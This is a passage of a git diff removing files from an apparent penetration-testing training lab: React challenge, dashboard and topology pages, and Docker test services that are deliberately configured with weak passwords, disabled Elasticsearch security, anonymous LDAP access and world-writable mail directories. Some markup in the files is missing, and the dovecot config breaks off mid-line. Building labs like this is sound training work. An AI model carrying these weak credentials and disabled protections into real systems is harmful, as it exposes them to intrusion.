'challenge.9.name': 'PostgreSQL Database Penetration', - 'challenge.9.desc': 'Brute-force PostgreSQL database to obtain business data', - 'challenge.10.name': 'MSSQL Database Attack', - 'challenge.10.desc': 'Compromise MSSQL database to obtain enterprise core data', - 'challenge.11.name': 'VNC Remote Desktop Intrusion', - 'challenge.11.desc': 'Gain office network host control through VNC weak password', - 'challenge.12.name': 'Legacy Telnet Service', - 'challenge.12.desc': 'Exploit legacy Telnet service to gain access to old office host', - 'challenge.13.name': 'Printer SMB Share', - 'challenge.13.desc': 'Discover office printer SMB share service and access shared files via weak credentials', - }, -} - -export type Language = keyof typeof translations -export type TranslationKey = keyof typeof translations.zh diff --git a/fscan-lab/frontend/src/lib/utils.ts b/fscan-lab/frontend/src/lib/utils.ts deleted file mode 100644 index d084ccad..00000000 --- a/fscan-lab/frontend/src/lib/utils.ts +++ /dev/null @@ -1,6 +0,0 @@ -import { type ClassValue, clsx } from "clsx" -import { twMerge } from "tailwind-merge" - -export function cn(...inputs: ClassValue[]) { - return twMerge(clsx(inputs)) -} diff --git a/fscan-lab/frontend/src/main.tsx b/fscan-lab/frontend/src/main.tsx deleted file mode 100644 index bcdfc16f..00000000 --- a/fscan-lab/frontend/src/main.tsx +++ /dev/null @@ -1,13 +0,0 @@ -import React from 'react' -import ReactDOM from 'react-dom/client' -import App from './App.tsx' -import './index.css' -import { I18nProvider } from './contexts/I18nContext' - -ReactDOM.createRoot(document.getElementById('root')!).render( - - - - - , -) diff --git a/fscan-lab/frontend/src/pages/Challenges.tsx b/fscan-lab/frontend/src/pages/Challenges.tsx deleted file mode 100644 index 20e85156..00000000 --- a/fscan-lab/frontend/src/pages/Challenges.tsx +++ /dev/null @@ -1,234 +0,0 @@ -import { useEffect, useState } from 'react' -import { Check, HelpCircle, Target } from 'lucide-react' -import { Card, CardContent, CardDescription, CardFooter, CardHeader, CardTitle } from '@/components/ui/card' -import { Badge } from '@/components/ui/badge' -import { Button } from '@/components/ui/button' -import { Input } from '@/components/ui/input' -import { getChallenges, getProgress, submitFlag, getHints, type Challenge, type Progress } from '@/lib/api' -import { useI18n } from '@/contexts/I18nContext' - -export default function Challenges() { - const { t } = useI18n() - const [challenges, setChallenges] = useState([]) - const [progress, setProgress] = useState(null) - const [loading, setLoading] = useState(true) - const [submitting, setSubmitting] = useState(null) - const [flags, setFlags] = useState>({}) - const [hints, setHints] = useState>({}) - const [showHints, setShowHints] = useState>({}) - const [message, setMessage] = useState<{ type: 'success' | 'error'; text: string } | null>(null) - - const loadData = async () => { - try { - const [challengesData, progressData] = await Promise.all([ - getChallenges(), - getProgress(), - ]) - setChallenges(challengesData) - setProgress(progressData) - } catch (error) { - console.error('Failed to load data:', error) - } finally { - setLoading(false) - } - } - - useEffect(() => { - loadData() - }, []) - - const handleSubmit = async (challengeId: number) => { - const flag = flags[challengeId]?.trim() - if (!flag) { - setMessage({ type: 'error', text: 'Please enter a flag' }) - return - } - - setSubmitting(challengeId) - setMessage(null) - - try { - const result = await submitFlag(challengeId, flag) - if (result.correct) { - setMessage({ - type: 'success', - text: result.already_solved - ? 'Already solved!' - : `Correct! +${result.points_earned} points`, - }) - setFlags({ ...flags, [challengeId]: '' }) - await loadData() - } else { - setMessage({ type: 'error', text: 'Incorrect flag. Try again!' }) - } - } catch (error) { - setMessage({ type: 'error', text: 'Submission failed' }) - } finally { - setSubmitting(null) - setTimeout(() => setMessage(null), 3000) - } - } - - const handleShowHints = async (challengeId: number) => { - if (!hints[challengeId]) { - const challengeHints = await getHints(challengeId) - setHints({ ...hints, [challengeId]: challengeHints }) - } - setShowHints({ ...showHints, [challengeId]: !showHints[challengeId] }) - } - - const getDifficultyColor = (difficulty: string) => { - switch (difficulty) { - case 'Easy': - return 'bg-green-500' - case 'Medium': - return 'bg-yellow-500' - case 'Hard': - return 'bg-orange-500' - case 'Expert': - return 'bg-red-500' - default: - return 'bg-gray-500' - } - } - - const getNetworkColor = (network: string) => { - switch (network) { - case 'dmz': - return 'bg-blue-500/10 text-blue-500 border-blue-500/20' - case 'office': - return 'bg-purple-500/10 text-purple-500 border-purple-500/20' - case 'production': - return 'bg-orange-500/10 text-orange-500 border-orange-500/20' - case 'core': - return 'bg-red-500/10 text-red-500 border-red-500/20' - default: - return 'bg-gray-500/10 text-gray-500 border-gray-500/20' - } - } - - if (loading) { - return ( -
-
{t('dashboard.loading')}
-
- ) - } - - return ( -
-
-

{t('challenges.title')}

-

- {t('challenges.desc')} -

-
- - {message && ( -
- {message.text} -
- )} - -
- {challenges.sort((a, b) => (a.order || 0) - (b.order || 0)).map((challenge) => { - const isCompleted = progress?.completed_challenges.includes(challenge.id) || false - const flagValue = flags[challenge.id] || '' - - return ( - - -
-
-
- {t(`challenge.${challenge.id}.name` as any)} - {isCompleted && ( - - )} -
- {t(`challenge.${challenge.id}.desc` as any)} -
- - {t(`difficulty.${challenge.difficulty}` as any)} - -
-
- -
- {t('challenges.points')} - {challenge.points} -
-
- {t('challenges.network')} - - {t(`network.${challenge.network}` as any)} - -
-
- {t('challenges.targets')} - {challenge.targets.join(', ')} -
- - {!isCompleted && ( -
-
- - setFlags({ ...flags, [challenge.id]: e.target.value }) - } - onKeyDown={(e) => { - if (e.key === 'Enter') handleSubmit(challenge.id) - }} - /> - -
- - {showHints[challenge.id] && hints[challenge.id] && ( -
- {hints[challenge.id].map((hint, idx) => ( -
- - {hint} -
- ))} -
- )} -
- )} -
- {isCompleted && ( - -
- - {t('challenges.completed')} -
-
- )} -
- ) - })} -
-
- ) -} diff --git a/fscan-lab/frontend/src/pages/Dashboard.tsx b/fscan-lab/frontend/src/pages/Dashboard.tsx deleted file mode 100644 index 45e92c6d..00000000 --- a/fscan-lab/frontend/src/pages/Dashboard.tsx +++ /dev/null @@ -1,219 +0,0 @@ -import { useEffect, useState } from 'react' -import { Trophy, Target, Clock, Zap } from 'lucide-react' -import { Card, CardContent, CardDescription, CardHeader, CardTitle } from '@/components/ui/card' -import { Progress } from '@/components/ui/progress' -import { Badge } from '@/components/ui/badge' -import { Button } from '@/components/ui/button' -import { getProgress, getChallenges, resetProgress, type Progress as ProgressType, type Challenge } from '@/lib/api' -import { useI18n } from '@/contexts/I18nContext' - -export default function Dashboard() { - const { t } = useI18n() - const [progress, setProgress] = useState(null) - const [challenges, setChallenges] = useState([]) - const [loading, setLoading] = useState(true) - - const loadData = async () => { - try { - const [progressData, challengesData] = await Promise.all([ - getProgress(), - getChallenges(), - ]) - setProgress(progressData) - setChallenges(challengesData) - } catch (error) { - console.error('Failed to load data:', error) - } finally { - setLoading(false) - } - } - - useEffect(() => { - loadData() - const interval = setInterval(loadData, 5000) - return () => clearInterval(interval) - }, []) - - const handleReset = async () => { - if (confirm(t('dashboard.resetConfirm'))) { - await resetProgress() - await loadData() - } - } - - if (loading) { - return ( -
-
{t('dashboard.loading')}
-
- ) - } - - const totalChallenges = challenges.length - const completedChallenges = progress?.completed_challenges.length || 0 - const completionRate = totalChallenges > 0 ? (completedChallenges / totalChallenges) * 100 : 0 - const maxScore = challenges.reduce((sum, c) => sum + c.points, 0) - - const recentSubmissions = progress?.submission_history.slice(-5).reverse() || [] - - return ( -
-
-
-

{t('dashboard.title')}

-

- {t('dashboard.welcome')} -

-
- -
- -
- - - {t('dashboard.totalScore')} - - - -
{progress?.total_score || 0}
-

- {t('dashboard.maxScore')} {maxScore} {t('common.points')} -

-
-
- - - - {t('dashboard.completedChallenges')} - - - -
- {completedChallenges} / {totalChallenges} -
-

- {t('dashboard.completionRate')} {completionRate.toFixed(0)}% -

-
-
- - - - {t('dashboard.startTime')} - - - -
- {progress ? new Date(progress.start_time).toLocaleDateString() : '-'} -
-

- {progress ? new Date(progress.start_time).toLocaleTimeString() : ''} -

-
-
- - - - {t('dashboard.submissions')} - - - -
- {progress?.submission_history.length || 0} -
-

- {t('dashboard.successful')} {progress?.submission_history.filter(s => s.correct).length || 0} -

-
-
-
- - - - {t('dashboard.progress')} - {t('dashboard.progressDesc')} {completedChallenges} / {totalChallenges} {t('dashboard.progressDesc2')} - - - - - - -
- - - {t('dashboard.recentSubmissions')} - {t('dashboard.recentSubmissionsDesc')} - - - {recentSubmissions.length === 0 ? ( -

{t('dashboard.noSubmissions')}

- ) : ( -
- {recentSubmissions.map((sub, idx) => { - const challenge = challenges.find(c => c.id === sub.challenge_id) - return ( -
-
-

{challenge?.name || `${t('dashboard.challenge')} ${sub.challenge_id}`}

-

- {new Date(sub.timestamp).toLocaleString()} -

-
- - {sub.correct ? t('dashboard.correct') : t('dashboard.incorrect')} - -
- ) - })} -
- )} -
-
- - - - {t('dashboard.overview')} - {t('dashboard.overviewDesc')} - - -
- {['Easy', 'Medium', 'Hard', 'Expert'].map(difficulty => { - const diffChallenges = challenges.filter(c => c.difficulty === difficulty) - const completed = diffChallenges.filter(c => - progress?.completed_challenges.includes(c.id) - ).length - const total = diffChallenges.length - - if (total === 0) return null - - return ( -
-
- {t(`difficulty.${difficulty}` as any)} - {completed} / {total} -
- -
- ) - })} -
-
-
-
- - - - {t('dashboard.quickStart')} - - -

1. {t('dashboard.quickStart1')}docker exec -it lab-attacker /bin/bash

-

2. {t('dashboard.quickStart2')}fscan -h 10.10.1.0/24

-

3. {t('dashboard.quickStart3')}

-

4. {t('dashboard.quickStart4')}

-
-
-
- ) -} diff --git a/fscan-lab/frontend/src/pages/Topology.tsx b/fscan-lab/frontend/src/pages/Topology.tsx deleted file mode 100644 index 7d212565..00000000 --- a/fscan-lab/frontend/src/pages/Topology.tsx +++ /dev/null @@ -1,268 +0,0 @@ -import { useEffect, useState, useCallback } from 'react' -import ReactFlow, { - Node, - Edge, - Background, - Controls, - MiniMap, - useNodesState, - useEdgesState, - MarkerType, -} from 'reactflow' -import 'reactflow/dist/style.css' -import { Card, CardContent, CardDescription, CardHeader, CardTitle } from '@/components/ui/card' -import { Badge } from '@/components/ui/badge' -import { getTopology, getProgress } from '@/lib/api' -import { useI18n } from '@/contexts/I18nContext' - -export default function Topology() { - const { t } = useI18n() - const [nodes, setNodes, onNodesChange] = useNodesState([]) - const [edges, setEdges, onEdgesChange] = useEdgesState([]) - const [selectedNode, setSelectedNode] = useState(null) - const [loading, setLoading] = useState(true) - - const loadTopology = useCallback(async () => { - try { - const [topology] = await Promise.all([getTopology(), getProgress()]) - - const networkPositions: Record = { - internet: { x: 400, y: 50 }, - attacker: { x: 400, y: 150 }, - 'web-dmz': { x: 200, y: 300 }, - 'mail-dmz': { x: 350, y: 300 }, - 'ftp-dmz': { x: 500, y: 300 }, - 'vpn-gateway': { x: 650, y: 300 }, - 'pc-vnc': { x: 100, y: 500 }, - 'pc-ssh': { x: 250, y: 500 }, - 'backup-server': { x: 400, y: 500 }, - 'printer': { x: 550, y: 500 }, - 'oldpc-telnet': { x: 700, y: 500 }, - 'app-web': { x: 100, y: 700 }, - 'cache-redis': { x: 250, y: 700 }, - 'mq-rabbit': { x: 400, y: 700 }, - 'mq-activemq': { x: 550, y: 700 }, - 'search-es': { x: 700, y: 700 }, - 'db-mysql': { x: 100, y: 900 }, - 'db-mssql': { x: 250, y: 900 }, - 'db-postgres': { x: 400, y: 900 }, - 'db-mongo': { x: 550, y: 900 }, - 'dc-ldap': { x: 700, y: 900 }, - } - - const getNodeColor = (status: string) => { - switch (status) { - case 'compromised': - return '#ef4444' - case 'discovered': - return '#f59e0b' - case 'unknown': - return '#6b7280' - default: - return '#6b7280' - } - } - - const getNetworkLabel = (network: string) => { - return t(`network.${network}` as any) || network - } - - const flowNodes: Node[] = topology.nodes.map((node) => { - const position = networkPositions[node.id] || { x: Math.random() * 800, y: Math.random() * 1000 } - return { - id: node.id, - type: 'default', - position, - data: { - label: ( -
-
{node.name}
-
{node.ip}
-
- - {getNetworkLabel(node.network)} - -
-
- ), - ...node, - }, - style: { - background: '#fff', - border: `2px solid ${getNodeColor(node.status)}`, - borderRadius: 8, - padding: 10, - width: 140, - }, - } - }) - - const flowEdges: Edge[] = topology.edges.map((edge, idx) => ({ - id: `${edge.from}-${edge.to}-${idx}`, - source: edge.from, - target: edge.to, - animated: edge.access === 'vpn', - style: { - stroke: edge.access === 'blocked' ? '#ef4444' : edge.access === 'vpn' ? '#3b82f6' : '#6b7280', - strokeWidth: edge.access === 'vpn' ? 2 : 1, - strokeDasharray: edge.access === 'blocked' ? '5,5' : undefined, - }, - markerEnd: { - type: MarkerType.ArrowClosed, - color: edge.access === 'blocked' ? '#ef4444' : edge.access === 'vpn' ? '#3b82f6' : '#6b7280', - }, - })) - - setNodes(flowNodes) - setEdges(flowEdges) - } catch (error) { - console.error('Failed to load topology:', error) - } finally { - setLoading(false) - } - }, [setNodes, setEdges]) - - useEffect(() => { - loadTopology() - const interval = setInterval(loadTopology, 10000) - return () => clearInterval(interval) - }, [loadTopology]) - - const onNodeClick = useCallback((_: any, node: Node) => { - setSelectedNode(node.data) - }, []) - - if (loading) { - return ( -
-
{t('dashboard.loading')}
-
- ) - } - - return ( -
-
-

{t('topology.title')}

-

- {t('topology.desc')} -

-
- -
-
- - -
- - - - - -
-
-
-
- -
- - - {t('topology.legend')} - - -
-
- {t('topology.compromised')} -
-
-
- {t('topology.discovered')} -
-
-
- {t('topology.unknown')} -
-
-
- - {selectedNode ? ( - - - {t('topology.nodeInfo')} - {selectedNode.name} - - -
-
{t('topology.ip')}
-
{selectedNode.ip}
-
-
-
{t('challenges.network')}
- {t(`network.${selectedNode.network}` as any)} -
-
-
{t('topology.status')}
- - {t(`topology.${selectedNode.status}` as any)} - -
- {selectedNode.services && selectedNode.services.length > 0 && ( -
-
{t('topology.services')}
-
- {selectedNode.services.map((service: string, idx: number) => ( -
- {service} -
- ))} -
-
- )} -
-
- ) : ( - - - {t('topology.nodeInfo')} - - -

{t('topology.selectNode')}

-
-
- )} - - - - 攻击路径 - - -
-
1
- 外网 → DMZ -
-
-
2
- DMZ → 办公网(VPN) -
-
-
3
- 办公网 → 生产网 -
-
-
4
- 生产网 → 核心网 -
-
-
-
-
-
- ) -} diff --git a/fscan-lab/frontend/tailwind.config.js b/fscan-lab/frontend/tailwind.config.js deleted file mode 100644 index 7cab475e..00000000 --- a/fscan-lab/frontend/tailwind.config.js +++ /dev/null @@ -1,76 +0,0 @@ -/** @type {import('tailwindcss').Config} */ -export default { - darkMode: ["class"], - content: [ - './pages/**/*.{ts,tsx}', - './components/**/*.{ts,tsx}', - './app/**/*.{ts,tsx}', - './src/**/*.{ts,tsx}', - ], - theme: { - container: { - center: true, - padding: "2rem", - screens: { - "2xl": "1400px", - }, - }, - extend: { - colors: { - border: "hsl(var(--border))", - input: "hsl(var(--input))", - ring: "hsl(var(--ring))", - background: "hsl(var(--background))", - foreground: "hsl(var(--foreground))", - primary: { - DEFAULT: "hsl(var(--primary))", - foreground: "hsl(var(--primary-foreground))", - }, - secondary: { - DEFAULT: "hsl(var(--secondary))", - foreground: "hsl(var(--secondary-foreground))", - }, - destructive: { - DEFAULT: "hsl(var(--destructive))", - foreground: "hsl(var(--destructive-foreground))", - }, - muted: { - DEFAULT: "hsl(var(--muted))", - foreground: "hsl(var(--muted-foreground))", - }, - accent: { - DEFAULT: "hsl(var(--accent))", - foreground: "hsl(var(--accent-foreground))", - }, - popover: { - DEFAULT: "hsl(var(--popover))", - foreground: "hsl(var(--popover-foreground))", - }, - card: { - DEFAULT: "hsl(var(--card))", - foreground: "hsl(var(--card-foreground))", - }, - }, - borderRadius: { - lg: "var(--radius)", - md: "calc(var(--radius) - 2px)", - sm: "calc(var(--radius) - 4px)", - }, - keyframes: { - "accordion-down": { - from: { height: 0 }, - to: { height: "var(--radix-accordion-content-height)" }, - }, - "accordion-up": { - from: { height: "var(--radix-accordion-content-height)" }, - to: { height: 0 }, - }, - }, - animation: { - "accordion-down": "accordion-down 0.2s ease-out", - "accordion-up": "accordion-up 0.2s ease-out", - }, - }, - }, - plugins: [require("tailwindcss-animate")], -} diff --git a/fscan-lab/frontend/tsconfig.json b/fscan-lab/frontend/tsconfig.json deleted file mode 100644 index c20738e2..00000000 --- a/fscan-lab/frontend/tsconfig.json +++ /dev/null @@ -1,25 +0,0 @@ -{ - "compilerOptions": { - "target": "ES2020", - "useDefineForClassFields": true, - "lib": ["ES2020", "DOM", "DOM.Iterable"], - "module": "ESNext", - "skipLibCheck": true, - "moduleResolution": "bundler", - "allowImportingTsExtensions": true, - "resolveJsonModule": true, - "isolatedModules": true, - "noEmit": true, - "jsx": "react-jsx", - "strict": true, - "noUnusedLocals": true, - "noUnusedParameters": true, - "noFallthroughCasesInSwitch": true, - "baseUrl": ".", - "paths": { - "@/*": ["./src/*"] - } - }, - "include": ["src"], - "references": [{ "path": "./tsconfig.node.json" }] -} diff --git a/fscan-lab/frontend/tsconfig.node.json b/fscan-lab/frontend/tsconfig.node.json deleted file mode 100644 index 42872c59..00000000 --- a/fscan-lab/frontend/tsconfig.node.json +++ /dev/null @@ -1,10 +0,0 @@ -{ - "compilerOptions": { - "composite": true, - "skipLibCheck": true, - "module": "ESNext", - "moduleResolution": "bundler", - "allowSyntheticDefaultImports": true - }, - "include": ["vite.config.ts"] -} diff --git a/fscan-lab/frontend/vite.config.ts b/fscan-lab/frontend/vite.config.ts deleted file mode 100644 index cbbabec1..00000000 --- a/fscan-lab/frontend/vite.config.ts +++ /dev/null @@ -1,16 +0,0 @@ -import { defineConfig } from 'vite' -import react from '@vitejs/plugin-react' -import path from 'path' - -export default defineConfig({ - plugins: [react()], - resolve: { - alias: { - '@': path.resolve(__dirname, './src'), - }, - }, - server: { - host: '0.0.0.0', - port: 3000, - }, -}) diff --git a/fscan-lab/test-services/ActiveMQ/Dockerfile b/fscan-lab/test-services/ActiveMQ/Dockerfile deleted file mode 100644 index 69fecc4c..00000000 --- a/fscan-lab/test-services/ActiveMQ/Dockerfile +++ /dev/null @@ -1,14 +0,0 @@ -FROM rmohr/activemq:5.15.9 - -# 复制STOMP专用配置文件 -COPY activemq.xml /opt/activemq/conf/activemq.xml - -# 仅暴露STOMP协议端口 -EXPOSE 61613 61614 - -# 设置环境变量 -ENV ACTIVEMQ_OPTS_MEMORY="-Xms64M -Xmx512M" -ENV ACTIVEMQ_OPTS="-Djava.util.logging.config.file=logging.properties -Djava.security.auth.login.config=/opt/activemq/conf/login.config" - -# 启动ActiveMQ -CMD ["/opt/activemq/bin/activemq", "console"] \ No newline at end of file diff --git a/fscan-lab/test-services/ActiveMQ/README.txt b/fscan-lab/test-services/ActiveMQ/README.txt deleted file mode 100644 index cf3143c6..00000000 --- a/fscan-lab/test-services/ActiveMQ/README.txt +++ /dev/null @@ -1,2 +0,0 @@ -docker build -t activemq-weak . -docker run -d --name activemq-test -p 61616:61616 -p 8161:8161 -p 61613:61613 activemq-weak \ No newline at end of file diff --git a/fscan-lab/test-services/ActiveMQ/activemq.xml b/fscan-lab/test-services/ActiveMQ/activemq.xml deleted file mode 100644 index d9a050a1..00000000 --- a/fscan-lab/test-services/ActiveMQ/activemq.xml +++ /dev/null @@ -1,55 +0,0 @@ - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - \ No newline at end of file diff --git a/fscan-lab/test-services/ActiveMQ/docker-compose.yml b/fscan-lab/test-services/ActiveMQ/docker-compose.yml deleted file mode 100644 index bc24f475..00000000 --- a/fscan-lab/test-services/ActiveMQ/docker-compose.yml +++ /dev/null @@ -1,15 +0,0 @@ -version: '3.8' - -services: - activemq: - build: . - ports: - - "61613:61613" # STOMP - - "61616:61616" # OpenWire - - "8162:8161" # Web Console (mapped to host port 8162) - environment: - - ACTIVEMQ_ADMIN_LOGIN=admin - - ACTIVEMQ_ADMIN_PASSWORD=Aa123456789 - volumes: - - ./activemq.xml:/opt/activemq/conf/activemq.xml - - ./users.properties:/opt/activemq/conf/users.properties \ No newline at end of file diff --git a/fscan-lab/test-services/ActiveMQ/jetty-realm.properties b/fscan-lab/test-services/ActiveMQ/jetty-realm.properties deleted file mode 100644 index 7a170845..00000000 --- a/fscan-lab/test-services/ActiveMQ/jetty-realm.properties +++ /dev/null @@ -1,12 +0,0 @@ -# ActiveMQ Web Console用户认证配置 -# 格式: username: password [,role1,role2,...] - -# 管理员用户 -admin: Aa123456789,admin,user -test: test123,user -root: root123,admin,user -system: admin123,admin,user - -# 默认测试用户 -user: user,user -guest: guest,user \ No newline at end of file diff --git a/fscan-lab/test-services/ActiveMQ/jetty.xml b/fscan-lab/test-services/ActiveMQ/jetty.xml deleted file mode 100644 index b73c2ae5..00000000 --- a/fscan-lab/test-services/ActiveMQ/jetty.xml +++ /dev/null @@ -1,112 +0,0 @@ - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - \ No newline at end of file diff --git a/fscan-lab/test-services/ActiveMQ/users.properties b/fscan-lab/test-services/ActiveMQ/users.properties deleted file mode 100644 index fd3f9404..00000000 --- a/fscan-lab/test-services/ActiveMQ/users.properties +++ /dev/null @@ -1,4 +0,0 @@ -admin=Aa123456789 -test=test123 -root=root123 -system=admin123 \ No newline at end of file diff --git a/fscan-lab/test-services/Cassandra/README.txt b/fscan-lab/test-services/Cassandra/README.txt deleted file mode 100644 index c4dad5c7..00000000 --- a/fscan-lab/test-services/Cassandra/README.txt +++ /dev/null @@ -1,2 +0,0 @@ -docker build -t cassandra-weak . -docker run -d --name cassandra-test -e CASSANDRA_AUTHENTICATOR=AllowAllAuthenticator -p 9042:9042 -p 9160:9160 cassandra:3.11 \ No newline at end of file diff --git a/fscan-lab/test-services/Elasticsearch/Dockerfile b/fscan-lab/test-services/Elasticsearch/Dockerfile deleted file mode 100644 index eb1514ff..00000000 --- a/fscan-lab/test-services/Elasticsearch/Dockerfile +++ /dev/null @@ -1,19 +0,0 @@ -FROM docker.elastic.co/elasticsearch/elasticsearch:7.9.3 - -# 设置环境变量允许单节点运行 -ENV discovery.type=single-node - -# 允许任意IP访问 -ENV network.host=0.0.0.0 - -# 设置弱密码 -ENV ELASTIC_PASSWORD=elastic123 - -# 暴露端口 -EXPOSE 9200 9300 - -# 设置默认用户名elastic和密码elastic123 -RUN echo 'elastic:elastic123' > /usr/share/elasticsearch/config/users - -# 关闭xpack安全功能,使其可以无认证访问 -RUN echo 'xpack.security.enabled: false' >> /usr/share/elasticsearch/config/elasticsearch.yml \ No newline at end of file diff --git a/fscan-lab/test-services/Elasticsearch/README.txt b/fscan-lab/test-services/Elasticsearch/README.txt deleted file mode 100644 index cd65b5b9..00000000 --- a/fscan-lab/test-services/Elasticsearch/README.txt +++ /dev/null @@ -1,2 +0,0 @@ -docker build -t elastic-test . -docker run -d -p 9200:9200 -p 9300:9300 elastic-test \ No newline at end of file diff --git a/fscan-lab/test-services/FTP/README.txt b/fscan-lab/test-services/FTP/README.txt deleted file mode 100644 index 65043000..00000000 --- a/fscan-lab/test-services/FTP/README.txt +++ /dev/null @@ -1,2 +0,0 @@ -docker run -d -p 20:20 -p 21:21 -e FTP_USER=admin -e FTP_PASS=123456 -e PASV_ADDRESS=127.0.0.1 --name ftp bogem/ftp -Mac上可能有问题 \ No newline at end of file diff --git a/fscan-lab/test-services/FTP/docker-compose.yml b/fscan-lab/test-services/FTP/docker-compose.yml deleted file mode 100644 index 461c1c42..00000000 --- a/fscan-lab/test-services/FTP/docker-compose.yml +++ /dev/null @@ -1,16 +0,0 @@ -version: '3' -services: - ftp: - image: bogem/ftp - container_name: ftp-test - environment: - - FTP_USER=admin - - FTP_PASS=123456 - - PASV_ADDRESS=127.0.0.1 - - PASV_MIN_PORT=30000 - - PASV_MAX_PORT=30100 - ports: - - "21:21" - - "20:20" - - "30000-30100:30000-30100" - restart: unless-stopped \ No newline at end of file diff --git a/fscan-lab/test-services/IMAP/Dockerfile b/fscan-lab/test-services/IMAP/Dockerfile deleted file mode 100644 index f489f54d..00000000 --- a/fscan-lab/test-services/IMAP/Dockerfile +++ /dev/null @@ -1,74 +0,0 @@ -FROM ubuntu:20.04 - -ENV DEBIAN_FRONTEND=noninteractive - -# 安装 Dovecot 和工具 -RUN apt-get update && \ - apt-get install -y dovecot-imapd dovecot-gssapi ssl-cert net-tools procps && \ - apt-get clean && \ - rm -rf /var/lib/apt/lists/* - -# 创建邮件存储目录和邮箱 -RUN mkdir -p /var/mail/vhosts/ && \ - chmod 777 /var/mail/vhosts/ - -# 创建用户和密码文件 -RUN echo "test:{PLAIN}123456" > /etc/dovecot/passwd && \ - echo "admin:{PLAIN}admin123" >> /etc/dovecot/passwd && \ - echo "root:{PLAIN}root123" >> /etc/dovecot/passwd && \ - chown dovecot:dovecot /etc/dovecot/passwd && \ - chmod 600 /etc/dovecot/passwd - -# 配置Dovecot -RUN echo ' \ -protocols = imap \n\ -listen = * \n\ -ssl = yes \n\ -ssl_cert = /etc/dovecot/dovecot.conf - -# 创建vmail用户并设置正确的权限 -RUN groupadd -g 5000 vmail && \ - useradd -g vmail -u 5000 vmail && \ - chown -R vmail:vmail /var/mail && \ - chown -R dovecot:dovecot /etc/dovecot && \ - chmod -R 644 /etc/dovecot/dovecot.conf - -EXPOSE 143 993 - -CMD ["dovecot", "-F"] \ No newline at end of file diff --git a/fscan-lab/test-services/IMAP/README.txt b/fscan-lab/test-services/IMAP/README.txt deleted file mode 100644 index 0d4d3709..00000000 --- a/fscan-lab/test-services/IMAP/README.txt +++ /dev/null @@ -1,2 +0,0 @@ -docker build -t weak-imap . -docker run -d --name imap-test -p 143:143 -p 993:993 weak-imap \ No newline at end of file diff --git a/fscan-lab/test-services/Kafka/README.txt b/fscan-lab/test-services/Kafka/README.txt deleted file mode 100644 index 5177d11e..00000000 --- a/fscan-lab/test-services/Kafka/README.txt +++ /dev/null @@ -1 +0,0 @@ -docker-compose up -d \ No newline at end of file diff --git a/fscan-lab/test-services/Kafka/docker-compose.yml b/fscan-lab/test-services/Kafka/docker-compose.yml deleted file mode 100644 index 3554a74d..00000000 --- a/fscan-lab/test-services/Kafka/docker-compose.yml +++ /dev/null @@ -1,22 +0,0 @@ -# docker-compose.yml -version: '3' -services: - kafka: - image: bitnami/kafka:latest - ports: - - "9092:9092" - environment: - - KAFKA_CFG_NODE_ID=1 - - KAFKA_CFG_PROCESS_ROLES=broker,controller - - KAFKA_CFG_CONTROLLER_QUORUM_VOTERS=1@kafka:9093 - - KAFKA_CFG_CONTROLLER_LISTENER_NAMES=CONTROLLER - - KAFKA_CFG_LISTENERS=CONTROLLER://:9093,SASL_PLAINTEXT://:9092 - - KAFKA_CFG_ADVERTISED_LISTENERS=SASL_PLAINTEXT://localhost:9092 - - KAFKA_CFG_LISTENER_SECURITY_PROTOCOL_MAP=CONTROLLER:PLAINTEXT,SASL_PLAINTEXT:SASL_PLAINTEXT - - KAFKA_CFG_SASL_ENABLED_MECHANISMS=PLAIN - - KAFKA_CFG_SASL_MECHANISM_INTER_BROKER_PROTOCOL=PLAIN - - KAFKA_CFG_INTER_BROKER_LISTENER_NAME=SASL_PLAINTEXT - - KAFKA_OPTS=-Djava.security.auth.login.config=/opt/bitnami/kafka/config/kafka_jaas.conf - - ALLOW_PLAINTEXT_LISTENER=yes - volumes: - - ./kafka_jaas.conf:/opt/bitnami/kafka/config/kafka_jaas.conf \ No newline at end of file diff --git a/fscan-lab/test-services/Kafka/kafka_jaas.conf b/fscan-lab/test-services/Kafka/kafka_jaas.conf deleted file mode 100644 index e1b83dfc..00000000 --- a/fscan-lab/test-services/Kafka/kafka_jaas.conf +++ /dev/null @@ -1,8 +0,0 @@ -KafkaServer { - org.apache.kafka.common.security.plain.PlainLoginModule required - username="admin" - password="admin123" - user_admin="admin123" - user_test="test123" - user_kafka="kafka123"; -}; \ No newline at end of file diff --git a/fscan-lab/test-services/LDAP/Dockerfile b/fscan-lab/test-services/LDAP/Dockerfile deleted file mode 100644 index f4150b34..00000000 --- a/fscan-lab/test-services/LDAP/Dockerfile +++ /dev/null @@ -1,18 +0,0 @@ -FROM osixia/openldap:1.5.0 - -# 环境变量设置 -ENV LDAP_ORGANISATION="Example Inc" -ENV LDAP_DOMAIN="example.com" -ENV LDAP_BASE_DN="dc=example,dc=com" -# 设置一个弱密码 -ENV LDAP_ADMIN_PASSWORD="Aa123456789" -# 允许匿名访问 -ENV LDAP_READONLY_USER="true" -ENV LDAP_READONLY_USER_USERNAME="readonly" -ENV LDAP_READONLY_USER_PASSWORD="readonly" - -# 暴露端口 -EXPOSE 389 636 - -# 创建初始化脚本 -COPY bootstrap.ldif /container/service/slapd/assets/config/bootstrap/ldif/custom/ \ No newline at end of file diff --git a/fscan-lab/test-services/LDAP/README.txt b/fscan-lab/test-services/LDAP/README.txt deleted file mode 100644 index 57b4ca50..00000000 --- a/fscan-lab/test-services/LDAP/README.txt +++ /dev/null @@ -1,2 +0,0 @@ -docker build -t ldap-weak . -docker run -d --name ldap-test -p 389:389 -p 636:636 ldap-weak \ No newline at end of file diff --git a/fscan-lab/test-services/LDAP/bootstrap.ldif b/fscan-lab/test-services/LDAP/bootstrap.ldif deleted file mode 100644 index d243511e..00000000 --- a/fscan-lab/test-services/LDAP/bootstrap.ldif +++ /dev/null @@ -1,24 +0,0 @@ -dn: ou=users,dc=example,dc=com -objectClass: organizationalUnit -ou: users - -dn: cn=admin,ou=users,dc=example,dc=com -objectClass: inetOrgPerson -cn: admin -sn: admin -uid: admin -userPassword: admin123 - -dn: cn=test,ou=users,dc=example,dc=com -objectClass: inetOrgPerson -cn: test -sn: test -uid: test -userPassword: test123 - -dn: cn=root,ou=users,dc=example,dc=com -objectClass: inetOrgPerson -cn: root -sn: root -uid: root -userPassword: root123 \ No newline at end of file diff --git a/fscan-lab/test-services/MSSQL/Dockerfile 